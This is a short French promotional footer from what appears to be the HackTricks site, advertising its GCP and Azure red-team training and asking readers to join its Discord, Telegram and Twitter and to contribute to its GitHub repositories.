Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.